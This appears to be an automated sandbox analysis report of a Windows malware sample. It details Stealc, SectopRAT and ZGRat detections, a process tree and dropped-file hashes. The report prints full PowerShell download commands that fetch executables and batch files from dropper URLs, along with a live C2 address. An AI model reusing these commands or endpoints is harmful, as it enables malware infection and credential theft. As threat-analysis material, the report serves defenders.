Analysis

  • max time kernel
    145s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    02/05/2024, 08:41

General

  • Target
    d58a180c5d85448472b4e1007fae4b2a.exe
  • Size 49KB
  • Sample240502-klez1sdd3x
  • SHA256 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}

Extracted

Family
  • stealc

C2
  • http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 19 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d58a180c5d85448472b4e1007fae4b2a.exe
    "C:\Users\Admin\AppData\Local\Temp\d58a180c5d85448472b4e1007fae4b2a.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nso1A65.tmp\app.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1284
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2492
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:700
        • C:\Users\Admin\AppData\Local\Temp\ujg.0.exe
          "C:\Users\Admin\AppData\Local\Temp\ujg.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2920
        • C:\Users\Admin\AppData\Local\Temp\ujg.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\ujg.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2096
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2448
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2616
        • C:\Users\Admin\AppData\Local\Temp\ujg.3.exe
          "C:\Users\Admin\AppData\Local\Temp\ujg.3.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2796
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1428
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1420
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:920

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          94308059B57B3142E455B38A6EB92015

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
          • Size 68KB
          • SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
          • MD5 SHA1 SHA512 SSDEEP

          94308059B57B3142E455B38A6EB92015

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
          • Size 344B
          • SHA256 6c59da4c29ad2f5ed5f80228b854618f90683d6c77f31b3c718c78bd5c13b28a
          • MD5 SHA1 SHA512

          49466443b84b4e0299eda677a57b8bee.tmp

          • Path C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\bd92d7984d802ff9a1e24336bd1ccb4209c69a1bd116225cd9479ac9d0f516c4\49466443b84b4e0299eda677a57b8bee.tmp
          • Size 1KB
          • SHA256 1e1660e197d6c62ae686c302f4f89c90b5497c0ecbcaaeb1aa026e7b3a829e91
          • MD5 SHA1 SHA512

          Tar1DC7.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\Tar1DC7.tmp
          • Size 177KB
          • SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
          • MD5 SHA1 SHA512 SSDEEP

          UJG1~1.ZIP

          • Path C:\Users\Admin\AppData\Local\Temp\UJG1~1.ZIP
          • Size 3.7MB
          • SHA256 a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001
          • MD5 SHA1 SHA512 SSDEEP

          e262674d

          • Path C:\Users\Admin\AppData\Local\Temp\e262674d
          • Size 1.4MB
          • SHA256 5c14c610dbbcc282274046ecc53b405463f2bdc5392bae0bc3aacd16f4686ea8
          • MD5 SHA1 SHA512 SSDEEP

          ioloDMLog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
          • Size 2KB
          • SHA256 46cda62b9c4a3ef9980d82f059e11ea6fd7b1d8650cf10360e39034a2ba4d22c
          • MD5 SHA1 SHA512

          ioloDMLog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
          • Size 3KB
          • SHA256 7afe32f0fb6592e97ebe21fc6c736c5985d60da6eb4d47395d212eb3c2d2aa94
          • MD5 SHA1 SHA512

          app.bat

          • Path C:\Users\Admin\AppData\Local\Temp\nso1A65.tmp\app.bat
          • Size 566B
          • SHA256 b93928bad5418aa4b8fc7265f2b7c0a652b2cdb3a27c79fbdcb7e2db4a0d2392
          • MD5 SHA1 SHA512

          tmpBF89.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\tmpBF89.tmp
          • Size 20KB
          • SHA256 4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988
          • MD5 SHA1 SHA512 SSDEEP

          UIxMarketPlugin.dll

          • Path C:\Users\Admin\AppData\Local\Temp\ujg.2\UIxMarketPlugin.dll
          • Size 1.6MB
          • SHA256 cbcea8f28d8916219d1e8b0a8ca2db17e338eb812431bc4ad0cb36c06fd67f15
          • MD5 SHA1 SHA512 SSDEEP

          bunch.dat

          • Path C:\Users\Admin\AppData\Local\Temp\ujg.2\bunch.dat
          • Size 1.3MB
          • SHA256 9387488f9d338e211be2cb45109bf590a5070180bc0d4a703f70d3cb3c4e1742
          • MD5 SHA1 SHA512 SSDEEP

          relay.dll

          • Path C:\Users\Admin\AppData\Local\Temp\ujg.2\relay.dll
          • Size 1.5MB
          • SHA256 7b2db9c88f60ed6dd24b1dec321a304564780fdb191a96ec35c051856128f1ed
          • MD5 SHA1 SHA512 SSDEEP

          whale.dbf

          • Path C:\Users\Admin\AppData\Local\Temp\ujg.2\whale.dbf
          • Size 85KB
          • SHA256 b440170853bdb43b66497f701aee2901080326975140b095a1669cb9dee13422
          • MD5 SHA1 SHA512 SSDEEP

          d93f411851d7c929.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
          • Size 7KB
          • SHA256 fdac835a30485fd509e08675d07b6ccf25ce44d51b51a5df77210c0f67fd36b2
          • MD5 SHA1 SHA512 SSDEEP

          mozglue.dll

          • Path \ProgramData\mozglue.dll
          • Size 593KB
          • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
          • MD5 SHA1 SHA512 SSDEEP

          nss3.dll

          • Path \ProgramData\nss3.dll
          • Size 2.0MB
          • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
          • MD5 SHA1 SHA512 SSDEEP

          i1.exe

          • Path \Users\Admin\AppData\Local\Temp\i1.exe
          • Size 415KB
          • SHA256 8cdacf8e9bc23446e5a7166cea91ed95e0f204fa9d4c1317e4a9bf63f8481116
          • MD5 SHA1 SHA512 SSDEEP

          INetC.dll

          • Path \Users\Admin\AppData\Local\Temp\nso1A65.tmp\INetC.dll
          • Size 25KB
          • SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
          • MD5 SHA1 SHA512 SSDEEP

          ujg.0.exe

          • Path \Users\Admin\AppData\Local\Temp\ujg.0.exe
          • Size 271KB
          • SHA256 4632f47a007b6b5e852a9cad67dea87960d75fb54ff359c29569cd8cfa9b95e5
          • MD5 SHA1 SHA512 SSDEEP

          run.exe

          • Path \Users\Admin\AppData\Local\Temp\ujg.2\run.exe
          • Size 2.4MB
          • SHA256 a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3
          • MD5 SHA1 SHA512 SSDEEP

          ujg.3.exe

          • Path \Users\Admin\AppData\Local\Temp\ujg.3.exe
          • Size 4.6MB
          • SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
          • MD5 SHA1 SHA512 SSDEEP

          memory/700-330-0x0000000000400000-0x0000000001A33000-memory.dmp

          memory/1284-151-0x0000000002910000-0x0000000002950000-memory.dmp

          memory/1428-417-0x0000000000DC0000-0x00000000046B8000-memory.dmp

          memory/1428-454-0x000000001FE50000-0x0000000020150000-memory.dmp

          memory/1428-474-0x0000000000200000-0x000000000020A000-memory.dmp

          memory/1428-475-0x0000000000200000-0x000000000020A000-memory.dmp

          memory/1428-461-0x000000001DF60000-0x000000001DF6C000-memory.dmp

          memory/1428-458-0x0000000000D80000-0x0000000000DA2000-memory.dmp

          memory/1428-439-0x000000001F0C0000-0x000000001F1D0000-memory.dmp

          memory/1428-440-0x00000000005D0000-0x00000000005E0000-memory.dmp

          memory/1428-441-0x0000000000CA0000-0x0000000000CAC000-memory.dmp

          memory/1428-442-0x00000000005E0000-0x00000000005F4000-memory.dmp

          memory/1428-443-0x0000000000DA0000-0x0000000000DC4000-memory.dmp

          memory/1428-445-0x0000000005AD0000-0x0000000005ADA000-memory.dmp

          memory/1428-446-0x000000001E170000-0x000000001E19A000-memory.dmp

          memory/1428-447-0x000000001E590000-0x000000001E642000-memory.dmp

          memory/1428-448-0x000000001F8F0000-0x000000001F96A000-memory.dmp

          memory/1428-449-0x0000000000540000-0x00000000005A2000-memory.dmp

          memory/1428-450-0x00000000001E0000-0x00000000001EA000-memory.dmp

          memory/1428-457-0x00000000005C0000-0x00000000005CA000-memory.dmp

          memory/1428-456-0x0000000000200000-0x000000000020A000-memory.dmp

          memory/2096-301-0x0000000076E60000-0x0000000077009000-memory.dmp

          memory/2096-354-0x0000000073AA0000-0x0000000073C14000-memory.dmp

          memory/2096-300-0x0000000073AA0000-0x0000000073C14000-memory.dmp

          memory/2448-476-0x0000000073AA0000-0x0000000073C14000-memory.dmp

          memory/2448-358-0x0000000076E60000-0x0000000077009000-memory.dmp

          memory/2616-478-0x00000000722E0000-0x0000000073342000-memory.dmp

          memory/2616-479-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

          memory/2616-480-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

          memory/2616-487-0x00000000000C0000-0x0000000000186000-memory.dmp

          memory/2796-416-0x0000000000400000-0x00000000008AD000-memory.dmp

          memory/2920-405-0x0000000000400000-0x0000000001A0F000-memory.dmp

          memory/2920-465-0x0000000000400000-0x0000000001A0F000-memory.dmp

          memory/2920-486-0x0000000000400000-0x0000000001A0F000-memory.dmp

          memory/2920-188-0x0000000061E00000-0x0000000061EF3000-memory.dmp

          memory/2920-498-0x0000000000400000-0x0000000001A0F000-memory.dmp